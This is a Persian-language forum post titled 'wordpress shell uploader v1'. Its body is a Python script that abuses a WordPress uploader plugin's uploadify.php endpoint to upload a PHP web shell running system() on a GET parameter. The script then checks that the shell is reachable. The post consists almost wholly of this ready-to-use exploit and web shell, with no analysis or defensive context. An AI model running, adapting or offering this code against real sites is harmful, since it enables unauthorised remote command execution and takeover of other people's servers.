SpareNet Servers Advertising & Link Exchange

اطلاعیه

بستن
هیچ اطلاعیه ای هنوز ایجاد نشده است .

wordpress shell uploader v1

بستن
X
 
  • فیلتر
  • زمان
  • نمایش
پاک کردن همه
نوشته‌های جدید

  • wordpress shell uploader v1

    [align=LEFT][php]

    import socket

    host = 'localhost'
    path = '/wordpress'
    shell_path = '/shell.php'
    port = 80

    def upload_shell():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.settimeout(8)

    s.send('POST ' + path + '/wp-content/plugins/uploader/uploadify/uploadify.php?folder=/ HTTP/1.1\r\n'
    'Host: localhost\r\n'
    'Connection: keep-alive\r\n'
    'User-Agent: x\r\n'
    'Content-Length: 193\r\n'
    'Cache-Control: max-age=0\r\n'
    'Origin: null\r\n'
    'Content-Type: multipart/form-data; boundary=----x\r\n'
    'Accept: text/html\r\n'
    'Accept-Encoding: gzip,deflate,sdch\r\n'
    'Accept-Language: en-US,en;q=0.8\r\n'
    'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'
    '\r\n'
    '------x\r\n'
    'Content-Disposition: form-data; name="Filedata"; filename="shell.php"\r\n'
    'Content-Type: application/octet-stream\r\n'
    '\r\n'
    '<?php echo \'<pre>\' + system($_GET[\'CMD\']) + \'</pre>\'; ?>\r\n'
    '------x--\r\n'
    '\r\n')

    resp = s.recv(8192)

    http_ok = 'HTTP/1.1 200 OK'

    if http_ok not in resp[:len(http_ok)]:
    print 'error uploading shell'
    return
    else: print 'shell uploaded'

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.settimeout(8)
    s.send('GET ' + shell_path + ' HTTP/1.1\r\n'\
    'Host: ' + host + '\r\n\r\n')

    if http_ok not in s.recv(8192)[:len(http_ok)]: print 'shell not found'
    else: print 'shell located at http://' + host + shell_path

    upload_shell()


    [/php][/align]
    [align=center][/align]
صبر کنید ..
X